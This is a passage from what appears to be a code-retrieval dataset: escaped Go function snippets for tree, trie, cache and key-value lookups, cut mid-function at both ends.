*Dot) G(keys ...string) *Dot {\n\tc := d\n\tfor i := range keys {\n\t\tc.l.Lock() // protect me, and ...\n\t\tdefer c.l.Unlock() // release me, let me go ...\n\t\tc = c.getChild(keys[i])\n\t}\n\treturn c\n}","func d6getBranches(node *d6nodeT, branch *d6branchT, parVars *d6partitionVarsT) {\n\t// Load the branch buffer\n\tfor index := 0; index < d6maxNodes; index++ {\n\t\tparVars.branchBuf[index] = node.branch[index]\n\t}\n\tparVars.branchBuf[d6maxNodes] = *branch\n\tparVars.branchCount = d6maxNodes + 1\n\n\t// Calculate rect containing all in the set\n\tparVars.coverSplit = parVars.branchBuf[0].rect\n\tfor index := 1; index < d6maxNodes+1; index++ {\n\t\tparVars.coverSplit = d6combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\n\t}\n\tparVars.coverSplitArea = d6calcRectVolume(&parVars.coverSplit)\n}","func d14getBranches(node *d14nodeT, branch *d14branchT, parVars *d14partitionVarsT) {\n\t// Load the branch buffer\n\tfor index := 0; index < d14maxNodes; index++ {\n\t\tparVars.branchBuf[index] = node.branch[index]\n\t}\n\tparVars.branchBuf[d14maxNodes] = *branch\n\tparVars.branchCount = d14maxNodes + 1\n\n\t// Calculate rect containing all in the set\n\tparVars.coverSplit = parVars.branchBuf[0].rect\n\tfor index := 1; index < d14maxNodes+1; index++ {\n\t\tparVars.coverSplit = d14combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\n\t}\n\tparVars.coverSplitArea = d14calcRectVolume(&parVars.coverSplit)\n}","func (h *handler) getExpand(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tmaxDepth, err := x.GetMaxDepthFromQuery(r.URL.Query())\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, herodot.ErrBadRequest.WithError(err.Error()))\n\t\treturn\n\t}\n\n\tsubSet := (&ketoapi.SubjectSet{}).FromURLQuery(r.URL.Query())\n\tinternal, err := h.d.ReadOnlyMapper().FromSubjectSet(r.Context(), subSet)\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, err)\n\t\treturn\n\t}\n\n\tres, err := h.d.ExpandEngine().BuildTree(r.Context(), internal, maxDepth)\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, err)\n\t\treturn\n\t}\n\tif res == nil {\n\t\th.d.Writer().Write(w, r, herodot.ErrNotFound.WithError(\"no relation tuple found\"))\n\t\treturn\n\t}\n\n\ttree, err := h.d.ReadOnlyMapper().ToTree(r.Context(), res)\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, err)\n\t\treturn\n\t}\n\n\th.d.Writer().Write(w, r, tree)\n}","func (sc *BaseSmartContract) GetChild(key string) (object.Child, error) {\n\tchild, err := sc.ChildStorage.Get(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn child.(object.Child), nil\n}","func (g *GCache) GetMulti(keys []string) map[string]any {\n\tdata := make(map[string]any, len(keys))\n\n\tfor _, key := range keys {\n\t\tval, err := g.db.Get(key)\n\t\tif err == nil {\n\t\t\tdata[key] = val\n\t\t} // TODO log error\n\t}\n\n\treturn data\n}","func PutAndGetMulti(s *session.Session, rt *RoleType) (RoleTypes, error) {\n\trts := make(RoleTypes)\n\trtNew := new(RoleType)\n\t// USAGE \"s.Ctx\" INSTEAD OF \"ctx\" INSIDE THE TRANSACTION IS WRONG !!!!!!!!!!!!!!!!!\n\terr := datastore.RunInTransaction(s.Ctx, func(ctx context.Context) (err1 error) {\n\t\trtNew, err1 = Put(s.Ctx, rt)\n\t\tif err1 != nil {\n\t\t\treturn\n\t\t}\n\t\trts, err1 = GetMulti(s.Ctx, nil)\n\t\treturn\n\t}, nil)\n\trts[rtNew.ID] = rtNew\n\treturn rts, err\n}"],"string":"[\n \"func (sn *streeNode) get(st, et time.Time, cb func(sn *streeNode, d int, t time.Time, r *big.Rat)) {\\n\\trel := sn.relationship(st, et)\\n\\tif sn.present && (rel == contain || rel == match) {\\n\\t\\tcb(sn, sn.depth, sn.time, big.NewRat(1, 1))\\n\\t} else if rel != outside { // inside or overlap\\n\\t\\tif sn.present && len(sn.children) == 0 {\\n\\t\\t\\t// TODO: I did not test this logic as extensively as I would love to.\\n\\t\\t\\t// See https://github.com/topport/magic/issues/28 for more context and ideas on what to do\\n\\t\\t\\tcb(sn, sn.depth, sn.time, sn.overlapRead(st, et))\\n\\t\\t} else {\\n\\t\\t\\t// if current node doesn't have a tree present or has children, defer to children\\n\\t\\t\\tfor _, v := range sn.children {\\n\\t\\t\\t\\tif v != nil {\\n\\t\\t\\t\\t\\tv.get(st, et, cb)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (m *Set) GetChildren()([]Termable) {\\n val, err := m.GetBackingStore().Get(\\\"children\\\")\\n if err != nil {\\n panic(err)\\n }\\n if val != nil {\\n return val.([]Termable)\\n }\\n return nil\\n}\",\n \"func (n *Node) Retrieve(b *Box, values *[]Boxer) {\\n\\t// If this node does not intersect with the given box return.\\n\\tif !n.boundingBox.Intersects(b) {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Find all values in this node that intersect with the given box.\\n\\tfor i, _ := range n.values {\\n\\t\\tif b.Intersects(n.values[i].Box()) {\\n\\t\\t\\t*values = append(*values, n.values[i])\\n\\t\\t}\\n\\t}\\n\\n\\t// Recurse into each child node.\\n\\tif n.children[0] != nil {\\n\\t\\tfor i, _ := range n.children {\\n\\t\\t\\tn.children[i].Retrieve(b, values)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (c SplitSize) Get(path string, filler Filler) (o Object, err error) {\\n\\tfor _, child := range c {\\n\\t\\to, err = child.Cache.Get(path, nil)\\n\\t\\tif err == nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\tif err != nil && filler != nil {\\n\\t\\to, err = filler.Fill(c, path)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (m *ItemTermStoresItemSetsItemChildrenItemChildrenTermItemRequestBuilder) Get(ctx context.Context, requestConfiguration *ItemTermStoresItemSetsItemChildrenItemChildrenTermItemRequestBuilderGetRequestConfiguration)(ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.Termable, error) {\\n requestInfo, err := m.ToGetRequestInformation(ctx, requestConfiguration);\\n if err != nil {\\n return nil, err\\n }\\n errorMapping := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.ErrorMappings {\\n \\\"4XX\\\": ia572726a95efa92ddd544552cd950653dc691023836923576b2f4bf716cf204a.CreateODataErrorFromDiscriminatorValue,\\n \\\"5XX\\\": ia572726a95efa92ddd544552cd950653dc691023836923576b2f4bf716cf204a.CreateODataErrorFromDiscriminatorValue,\\n }\\n res, err := m.requestAdapter.Send(ctx, requestInfo, ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.CreateTermFromDiscriminatorValue, errorMapping)\\n if err != nil {\\n return nil, err\\n }\\n if res == nil {\\n return nil, nil\\n }\\n return res.(ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.Termable), nil\\n}\",\n \"func (d *Discovery) Get() []string {\\n d.Lock()\\n defer d.Unlock()\\n\\n items := make([]string, len(d.items))\\n for i, item := range d.items {\\n items[i] = item\\n }\\n\\n return items\\n}\",\n \"func (s *Trie) get(root, key []byte, batch [][]byte, iBatch, height int) ([]byte, error) {\\n\\tif len(root) == 0 {\\n\\t\\t// the trie does not contain the key\\n\\t\\treturn nil, nil\\n\\t}\\n\\t// Fetch the children of the node\\n\\tbatch, iBatch, lnode, rnode, isShortcut, err := s.loadChildren(root, height, iBatch, batch)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif isShortcut {\\n\\t\\tif bytes.Equal(lnode[:HashLength], key) {\\n\\t\\t\\treturn rnode[:HashLength], nil\\n\\t\\t}\\n\\t\\t// also returns nil if height 0 is not a shortcut\\n\\t\\treturn nil, nil\\n\\t}\\n\\tif bitIsSet(key, s.TrieHeight-height) {\\n\\t\\treturn s.get(rnode, key, batch, 2*iBatch+2, height-1)\\n\\t}\\n\\treturn s.get(lnode, key, batch, 2*iBatch+1, height-1)\\n}\",\n \"func (db *memorydb) MultiGet(key ...[]byte) ([][]byte, error) {\\n\\tdb.sm.RLock()\\n\\tdefer db.sm.RUnlock()\\n\\n\\tvalues := [][]byte{}\\n\\tfor _, k := range key {\\n\\t\\tif value, ok := db.db[string(k)]; ok {\\n\\t\\t\\tvalues = append(values, value)\\n\\t\\t} else {\\n\\t\\t\\treturn nil, nil\\n\\t\\t}\\n\\t}\\n\\treturn values, nil\\n}\",\n \"func (n *node) get(key Item, ctx interface{}) Item {\\n\\ti, found := n.items.find(key, ctx)\\n\\tif found {\\n\\t\\treturn n.items[i]\\n\\t} else if len(n.children) > 0 {\\n\\t\\treturn n.children[i].get(key, ctx)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *Reader) MultiGet(keys [][]byte) ([][]byte, error) {\\n\\treturn store.MultiGet(r, keys)\\n}\",\n \"func getHelper(\\n\\tnode patricia, key []byte, prefix int, dao db.KVStore, bucket string, cb db.CachedBatch) ([]byte, error) {\\n\\t// parse the key and get child node\\n\\tchild, match, err := node.child(key[prefix:], dao, bucket, cb)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(ErrNotExist, \\\"key = %x\\\", key)\\n\\t}\\n\\tif child == nil {\\n\\t\\t// this is the last node on path, return its stored value\\n\\t\\treturn node.blob(key)\\n\\t}\\n\\t// continue get() on child node\\n\\treturn getHelper(child, key, prefix+match, dao, bucket, cb)\\n}\",\n \"func (n *NodeManager) Gets(target string, hours int64) ([]OsqueryNode, error) {\\n\\tvar nodes []OsqueryNode\\n\\tswitch target {\\n\\tcase \\\"all\\\":\\n\\t\\tif err := n.DB.Find(&nodes).Error; err != nil {\\n\\t\\t\\treturn nodes, err\\n\\t\\t}\\n\\tcase \\\"active\\\":\\n\\t\\t//if err := n.DB.Where(\\\"updated_at > ?\\\", time.Now().AddDate(0, 0, -3)).Find(&nodes).Error; err != nil {\\n\\t\\tif err := n.DB.Where(\\\"updated_at > ?\\\", time.Now().Add(time.Duration(hours)*time.Hour)).Find(&nodes).Error; err != nil {\\n\\t\\t\\treturn nodes, err\\n\\t\\t}\\n\\tcase \\\"inactive\\\":\\n\\t\\t//if err := n.DB.Where(\\\"updated_at < ?\\\", time.Now().AddDate(0, 0, -3)).Find(&nodes).Error; err != nil {\\n\\t\\tif err := n.DB.Where(\\\"updated_at < ?\\\", time.Now().Add(time.Duration(hours)*time.Hour)).Find(&nodes).Error; err != nil {\\n\\t\\t\\treturn nodes, err\\n\\t\\t}\\n\\t}\\n\\treturn nodes, nil\\n}\",\n \"func (nn *NamedNodes) Get(c cid.Cid) *NamedNode {\\n\\tnn.RLock()\\n\\tdefer nn.RUnlock()\\n\\treturn nn.m[c]\\n}\",\n \"func (this *node) get(split string) *node {\\n\\tvar wildcard, target *node = nil, nil\\n\\n\\tfor _, child := range this.children {\\n\\t\\t// Check for wildcard match\\n\\t\\tif child.split == \\\"*\\\" {\\n\\t\\t\\twildcard = child\\n\\n\\t\\t\\t// Break if both have been found\\n\\t\\t\\tif target != nil {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// Check for direct match\\n\\t\\tif child.split == split {\\n\\t\\t\\ttarget = child\\n\\n\\t\\t\\t// Break if both have been found\\n\\t\\t\\tif wildcard != nil {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// Return direct match over wildcard\\n\\tif target != nil {\\n\\t\\treturn target\\n\\t}\\n\\n\\treturn wildcard\\n}\",\n \"func GetEntries(res chan sharedSchema.Entries, query string) {\\n\\tvar bks sharedSchema.Entries\\n\\tit := utils.BqQuery(query)\\n\\tfor {\\n\\t\\t// var bk sharedSchema.Entry\\n\\t\\t// err := it.Next(&bk)\\n\\t\\tvar m map[string]bigquery.Value\\n\\t\\terr := it.Next(&m)\\n\\t\\tif err == iterator.Done {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(\\\"Error in parsing: Fetched Data: \\\", err)\\n\\t\\t}\\n\\t\\tbks = append(bks, sharedSchema.GetEntry(m))\\n\\t}\\n\\tres <- bks\\n}\",\n \"func getPatricia(key []byte, dao db.KVStore, bucket string, cb db.CachedBatch) (patricia, error) {\\n\\t// search in cache first\\n\\tnode, err := cb.Get(bucket, key)\\n\\tif err != nil {\\n\\t\\tnode, err = dao.Get(bucket, key)\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"failed to get key %x\\\", key[:8])\\n\\t}\\n\\tpbNode := iproto.NodePb{}\\n\\tif err := proto.Unmarshal(node, &pbNode); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif pbBranch := pbNode.GetBranch(); pbBranch != nil {\\n\\t\\tb := branch{}\\n\\t\\tb.fromProto(pbBranch)\\n\\t\\treturn &b, nil\\n\\t}\\n\\tif pbLeaf := pbNode.GetLeaf(); pbLeaf != nil {\\n\\t\\tl := leaf{}\\n\\t\\tl.fromProto(pbLeaf)\\n\\t\\treturn &l, nil\\n\\t}\\n\\treturn nil, errors.Wrap(ErrInvalidPatricia, \\\"invalid node type\\\")\\n}\",\n \"func (hm HashMap) MultiGet(ctx context.Context, fields ...string) ([]Value, error) {\\n\\treq := newRequestSize(2+len(fields), \\\"\\\\r\\\\n$5\\\\r\\\\nHMGET\\\\r\\\\n$\\\")\\n\\treq.addStringAndStrings(hm.name, fields)\\n\\treturn hm.c.cmdStrings(ctx, req)\\n}\",\n \"func (d *device) getChildren() []Device {\\n\\tchildren := make([]Device, 0, len(d.children))\\n\\n\\tfor _, k := range d.childKeys {\\n\\t\\tchildren = append(children, d.children[k])\\n\\t}\\n\\treturn children\\n}\",\n \"func (db *InMemDatabase) GetChildren(uid UID, typename string) (UIDList, error) {\\n\\tnilList := []UID{}\\n\\tdata, ok := db.objectData[uid]\\n\\tif !ok {\\n\\t\\treturn nilList, fmt.Errorf(\\\"Object %s: not in database\\\", uid.Interface().String())\\n\\t}\\n\\trefList, ok := data.children[typename]\\n\\tif !ok {\\n\\t\\treturn nilList, nil\\n\\t}\\n\\treturn refList, nil\\n}\",\n \"func (c nullCache) GetMulti(ks ...string) ([]Item, error) {\\n\\treturn []Item{}, nil\\n}\",\n \"func (c *ComponentCollection) child(key string) Locatable {\\n\\tr, err := c.Get(common.IDString(key))\\n\\tif err != nil {\\n\\t\\tpanic(fmt.Errorf(\\\"No child with key %s for %T\\\", key, c))\\n\\t}\\n\\treturn r\\n}\",\n \"func (f *uploadBytesFuture) Get() (blob.Ref, error) {\\n\\tfor _, f := range f.children {\\n\\t\\tif _, err := f.Get(); err != nil {\\n\\t\\t\\treturn blob.Ref{}, err\\n\\t\\t}\\n\\t}\\n\\treturn f.br, <-f.errc\\n}\",\n \"func (c *Cache) GetMulti(ctx context.Context, keys []string) ([][]byte, error) {\\n\\tif bpc := bypassFromContext(ctx); bpc == BypassReading || bpc == BypassReadWriting {\\n\\t\\treturn nil, nil\\n\\t}\\n\\n\\tbb, err := c.storage.MGet(ctx, keys...)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn bb, nil\\n}\",\n \"func (u *unfinishedNodes) get() *builderNodeUnfinished {\\n\\tif len(u.stack) < len(u.cache) {\\n\\t\\treturn &u.cache[len(u.stack)]\\n\\t}\\n\\t// full now allocate a new one\\n\\treturn &builderNodeUnfinished{}\\n}\",\n \"func (n *MapNode) ReadTargets(c ReadContext, key reflect.Value) (reflect.Value, error) {\\n\\tval := reflect.MakeMap(n.Type)\\n\\tlist := c.List()\\n\\tfor _, keyStr := range list {\\n\\t\\telemKey := reflect.ValueOf(keyStr)\\n\\t\\telem := *n.ElemNode\\n\\t\\telemContext := c.Push(keyStr)\\n\\t\\telemVal, err := elem.Read(elemContext, elemKey)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn val, errors.Wrapf(err, \\\"reading child %s\\\", keyStr)\\n\\t\\t}\\n\\t\\tval.SetMapIndex(elemKey, elemVal)\\n\\t}\\n\\treturn val, nil\\n}\",\n \"func (n *metadataNode) child(name string) *metadataNode {\\n\\tif c, ok := n.children[name]; ok {\\n\\t\\treturn c\\n\\t}\\n\\tn.assertNonFrozen()\\n\\tif n.children == nil {\\n\\t\\tn.children = make(map[string]*metadataNode, 1)\\n\\t}\\n\\tc := &metadataNode{\\n\\t\\tparent: n,\\n\\t\\tacls: make([]*packageACL, len(legacyRoles)),\\n\\t}\\n\\tif n.prefix == \\\"\\\" {\\n\\t\\tc.prefix = name\\n\\t} else {\\n\\t\\tc.prefix = n.prefix + \\\"/\\\" + name\\n\\t}\\n\\tn.children[name] = c\\n\\treturn c\\n}\",\n \"func (c *ImageRegistryCollection) child(key string) Locatable {\\n\\tr, err := c.Get(common.IDString(key))\\n\\tif err != nil {\\n\\t\\tpanic(fmt.Errorf(\\\"No child with key %s for %T\\\", key, c))\\n\\t}\\n\\treturn r\\n}\",\n \"func (t *DiskTree) fetchChild(n *Node, c string) *Node {\\n\\tdn := t.dnodeFromNode(n)\\n\\tv, ok := dn.Children[c]\\n\\tif ok {\\n\\t\\tdv := t.dnodeFromHash(v)\\n\\t\\treturn dv.toMem()\\n\\t}\\n\\treturn nil\\n}\",\n \"func get(key string, ring *[100]*NodeMembership) (int, map[string]string) {\\n hashKey := hash(key)\\n numReplicas := 3\\n\\n var request Request\\n request.requestType = \\\"get\\\"\\n request.key = hashKey\\n request.returnChan = make(chan map[string]string, numReplicas)\\n\\n blacklist := make(map[int]bool)\\n pos := hashKey\\n var value map[string]string\\n for {\\n nodeMembership := ring[pos]\\n // Replicas on distinct nodes\\n if _, contains := blacklist[pos]; !contains && nodeMembership != nil {\\n nodeMembership.requestReceiver <- request\\n numReplicas = numReplicas - 1\\n for k, _ := range nodeMembership.virtualAddresses {\\n blacklist[k] = true\\n }\\n value = <-request.returnChan\\n fmt.Println(\\\"Got \\\"+key+\\\" from \\\"+strconv.Itoa(pos)+\\\": \\\", value)\\n }\\n pos = (pos + 1) % len(ring)\\n\\n if numReplicas == 0 {\\n break\\n }\\n }\\n return pos, value\\n}\",\n \"func child(n *node, c int) *node {\\n\\treturn n.C[c]\\n}\",\n \"func (of *openFiles) Get(fh uint64) (node mountlib.Noder, errc int) {\\n\\tof.mu.Lock()\\n\\t_, node, errc = of.get(fh)\\n\\tof.mu.Unlock()\\n\\treturn\\n}\",\n \"func (d *Document) get(id uint) *node {\\n\\tif d != nil && id < uint(len(d.nodes)) {\\n\\t\\treturn &d.nodes[id]\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *cfgMetaKvNodeDefsSplitHandler) set(\\n\\tc *CfgMetaKv, key string, val []byte, cas uint64) (uint64, error) {\\n\\tpath := c.keyToPath(key)\\n\\n\\tcurEntry := c.splitEntries[key]\\n\\n\\tif cas != math.MaxUint64 && cas != 0 && cas != curEntry.cas {\\n\\t\\tlog.Warnf(\\\"cfg_metakv: Set split, key: %v, cas mismatch: %x != %x\\\",\\n\\t\\t\\tkey, cas, curEntry.cas)\\n\\n\\t\\treturn 0, &CfgCASError{}\\n\\t}\\n\\n\\tvar curNodeDefs NodeDefs\\n\\n\\tif curEntry.data != nil && len(curEntry.data) > 0 {\\n\\t\\terr := json.Unmarshal(curEntry.data, &curNodeDefs)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn 0, err\\n\\t\\t}\\n\\t}\\n\\n\\tvar nd NodeDefs\\n\\n\\terr := json.Unmarshal(val, &nd)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\n\\t// Analyze which children were added, removed, updated.\\n\\t//\\n\\tadded := map[string]bool{}\\n\\tremoved := map[string]bool{}\\n\\tupdated := map[string]bool{}\\n\\n\\tfor k, v := range nd.NodeDefs {\\n\\t\\tif curNodeDefs.NodeDefs == nil ||\\n\\t\\t\\tcurNodeDefs.NodeDefs[k] == nil {\\n\\t\\t\\tadded[k] = true\\n\\t\\t} else {\\n\\t\\t\\tif !reflect.DeepEqual(curNodeDefs.NodeDefs[k], v) {\\n\\t\\t\\t\\tupdated[k] = true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif curNodeDefs.NodeDefs != nil {\\n\\t\\tfor k := range curNodeDefs.NodeDefs {\\n\\t\\t\\tif nd.NodeDefs[k] == nil {\\n\\t\\t\\t\\tremoved[k] = true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Printf(\\\"cfg_metakv: Set split, key: %v,\\\"+\\n\\t\\t\\\" added: %v, removed: %v, updated: %v\\\",\\n\\t\\tkey, added, removed, updated)\\n\\nLOOP:\\n\\tfor k, v := range nd.NodeDefs {\\n\\t\\tif cas != math.MaxUint64 && c.nodeUUID != \\\"\\\" && c.nodeUUID != v.UUID {\\n\\t\\t\\t// If we have a nodeUUID, only add/update our\\n\\t\\t\\t// nodeDef, where other nodes will each add/update\\n\\t\\t\\t// only their own nodeDef's.\\n\\t\\t\\tlog.Printf(\\\"cfg_metakv: Set split, key: %v,\\\"+\\n\\t\\t\\t\\t\\\" skipping other node UUID: %v, self nodeUUID: %s\\\",\\n\\t\\t\\t\\tkey, v.UUID, c.nodeUUID)\\n\\n\\t\\t\\tcontinue LOOP\\n\\t\\t}\\n\\n\\t\\tchildNodeDefs := NodeDefs{\\n\\t\\t\\tUUID: nd.UUID,\\n\\t\\t\\tNodeDefs: map[string]*NodeDef{},\\n\\t\\t\\tImplVersion: nd.ImplVersion,\\n\\t\\t}\\n\\t\\tchildNodeDefs.NodeDefs[k] = v\\n\\n\\t\\tval, err = json.Marshal(childNodeDefs)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn 0, err\\n\\t\\t}\\n\\n\\t\\tchildPath := path + \\\"/\\\" + k\\n\\n\\t\\tlog.Printf(\\\"cfg_metakv: Set split, key: %v, childPath: %v\\\",\\n\\t\\t\\tkey, childPath)\\n\\n\\t\\terr = metakv.Set(childPath, val, nil)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn 0, err\\n\\t\\t}\\n\\t\\tif cas != math.MaxUint64 {\\n\\t\\t\\tbreak LOOP\\n\\t\\t}\\n\\t}\\n\\n\\t// Remove composite children entries from metakv only if\\n\\t// caller was attempting removals only. This should work as\\n\\t// the caller usually has read-compute-write logic that only\\n\\t// removes node defs and does not add/update node defs in the\\n\\t// same read-compute-write code path.\\n\\t//\\n\\tif len(added) <= 0 && len(updated) <= 0 && len(removed) > 0 {\\n\\t\\tfor nodeDefUUID := range removed {\\n\\t\\t\\tchildPath := path + \\\"/\\\" + nodeDefUUID\\n\\n\\t\\t\\tlog.Printf(\\\"cfg_metakv: Set delete, childPath: %v\\\", childPath)\\n\\n\\t\\t\\terr = metakv.Delete(childPath, nil)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn 0, err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tcasResult := c.lastSplitCAS + 1\\n\\tc.lastSplitCAS = casResult\\n\\treturn casResult, err\\n}\",\n \"func getAll(ctx context.Context, host, repo string) ([]*mapPart, error) {\\n\\thostRepo := host + \\\"/\\\" + repo\\n\\tparentKey := datastore.MakeKey(ctx, parentKind, hostRepo)\\n\\tq := datastore.NewQuery(mapKind).Ancestor(parentKey)\\n\\tmps := []*mapPart{}\\n\\tif err := datastore.GetAll(ctx, q, &mps); err != nil {\\n\\t\\treturn nil, errors.Annotate(err, hostRepo).Tag(transient.Tag).Err()\\n\\t}\\n\\treturn mps, nil\\n}\",\n \"func (s *levelsController) get(key []byte, maxVs *y.ValueStruct) (y.ValueStruct, error) {\\n\\t// It's important that we iterate the levels from 0 on upward. The reason is, if we iterated\\n\\t// in opposite order, or in parallel (naively calling all the h.RLock() in some order) we could\\n\\t// read level L's tables post-compaction and level L+1's tables pre-compaction. (If we do\\n\\t// parallelize this, we will need to call the h.RLock() function by increasing order of level\\n\\t// number.)\\n\\tversion := y.ParseTs(key)\\n\\tfor _, h := range s.levels {\\n\\t\\tvs, err := h.get(key) // Calls h.RLock() and h.RUnlock().\\n\\t\\tif err != nil {\\n\\t\\t\\treturn y.ValueStruct{}, errors.Wrapf(err, \\\"get key: %q\\\", key)\\n\\t\\t}\\n\\t\\tif vs.Value == nil && vs.Meta == 0 {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tif maxVs == nil || vs.Version == version {\\n\\t\\t\\treturn vs, nil\\n\\t\\t}\\n\\t\\tif maxVs.Version < vs.Version {\\n\\t\\t\\t*maxVs = vs\\n\\t\\t}\\n\\t}\\n\\tif maxVs != nil {\\n\\t\\treturn *maxVs, nil\\n\\t}\\n\\treturn y.ValueStruct{}, nil\\n}\",\n \"func (this *MultiMap) Get(key interface{}) interface{} {\\n\\tnode := this.tree.FindNode(key)\\n\\tif node != nil {\\n\\t\\treturn node.Value()\\n\\t}\\n\\treturn nil\\n}\",\n \"func (n *TreeNode) Get(key string) (value Entry, ok bool) {\\n\\tn.mutex.RLock()\\n\\tvalue, ok = n.files[key]\\n\\tn.mutex.RUnlock()\\n\\treturn\\n}\",\n \"func (bd *BlockDAG) getFutureSet(fs *HashSet, b IBlock) {\\n\\tchildren := b.GetChildren()\\n\\tif children == nil || children.IsEmpty() {\\n\\t\\treturn\\n\\t}\\n\\tfor k := range children.GetMap() {\\n\\t\\tif !fs.Has(&k) {\\n\\t\\t\\tfs.Add(&k)\\n\\t\\t\\tbd.getFutureSet(fs, bd.getBlock(&k))\\n\\t\\t}\\n\\t}\\n}\",\n \"func (q *QuadTree) Retrieve(rectangle *Rectangle, result *[]*Rectangle) {\\n\\t*result = append(*result, q.objects...)\\n\\tfor _, node := range q.nodes {\\n\\t\\tif node.bounds.Intersects(rectangle) {\\n\\t\\t\\tnode.Retrieve(rectangle, result)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (n *items) get(i uint32) (*list, error) {\\n\\tif i > n.len {\\n\\t\\treturn nil, ErrIndexRange\\n\\t}\\n\\treturn n.data[i], nil\\n}\",\n \"func (pc *pathContainer) get(subpath string) *pathNode {\\n\\n\\t// binary search\\n\\tlow := 0\\n\\thigh := len(*pc) - 1\\n\\tvar mid, cmp int\\n\\n\\tfor low <= high {\\n\\t\\tmid = (low + high) / 2\\n\\t\\tcmp = strings.Compare(subpath, (*pc)[mid].name)\\n\\t\\tif cmp == 0 {\\n\\t\\t\\treturn (*pc)[mid]\\n\\t\\t} else if cmp < 0 {\\n\\t\\t\\thigh = mid - 1\\n\\t\\t} else {\\n\\t\\t\\tlow = mid + 1\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (d *Release) fetch() map[string]interface{} {\\n\\tvar gap = struct {\\n\\t\\tdata map[string]interface{}\\n\\t\\tmu sync.Mutex\\n\\t}{\\n\\t\\tdata: make(map[string]interface{}),\\n\\t}\\n\\tvar wg sync.WaitGroup\\n\\tfor k, v := range d.src {\\n\\t\\twg.Add(1)\\n\\t\\tgo func(k string, _ interface{}) {\\n\\t\\t\\tdefer wg.Done()\\n\\t\\t\\t// we arbitrary choose the first server as data reference.\\n\\t\\t\\tcv, found := d.to[0].Lookup(k)\\n\\t\\t\\tif !found {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tgap.mu.Lock()\\n\\t\\t\\tgap.data[k] = cv\\n\\t\\t\\tgap.mu.Unlock()\\n\\t\\t}(k, v)\\n\\t}\\n\\twg.Wait()\\n\\n\\treturn gap.data\\n}\",\n \"func (c *Composite) GetChildren() []Node {\\n\\treturn append([]Node{}, c.Children...)\\n}\",\n \"func (mavls *Store) Get(datas *types.StoreGet) [][]byte {\\r\\n\\tvar tree *mavl.Tree\\r\\n\\tvar err error\\r\\n\\tvalues := make([][]byte, len(datas.Keys))\\r\\n\\tsearch := string(datas.StateHash)\\r\\n\\tif data, ok := mavls.trees.Load(search); ok && data != nil {\\r\\n\\t\\ttree = data.(*mavl.Tree)\\r\\n\\t} else {\\r\\n\\t\\ttree = mavl.NewTree(mavls.GetDB(), true)\\r\\n\\t\\t//get接口也应该传入高度\\r\\n\\t\\t//tree.SetBlockHeight(datas.Height)\\r\\n\\t\\terr = tree.Load(datas.StateHash)\\r\\n\\t\\tmlog.Debug(\\\"store mavl get tree\\\", \\\"err\\\", err, \\\"StateHash\\\", common.ToHex(datas.StateHash))\\r\\n\\t}\\r\\n\\tif err == nil {\\r\\n\\t\\tfor i := 0; i < len(datas.Keys); i++ {\\r\\n\\t\\t\\t_, value, exit := tree.Get(datas.Keys[i])\\r\\n\\t\\t\\tif exit {\\r\\n\\t\\t\\t\\tvalues[i] = value\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\treturn values\\r\\n}\",\n \"func (self *BTrie) Get(key []byte) (value interface{}) {\\n\\tif res, isMatch := self.drillDown(key, nil, nil); isMatch {\\n\\t\\treturn res.leaf.value\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *lazyClient) getNode(key string) (*etcd.Node, error) {\\n\\tfor k, n := range c.nodes {\\n\\t\\tif strings.HasPrefix(key, k) {\\n\\t\\t\\treturn c.findNode(key, n)\\n\\t\\t}\\n\\t}\\n\\tresponse, err := c.c.Get(key, true, true)\\n\\tif err != nil {\\n\\t\\treturn nil, convertErr(err)\\n\\t}\\n\\tc.nodes[key] = response.Node\\n\\treturn c.findNode(key, response.Node)\\n}\",\n \"func (g 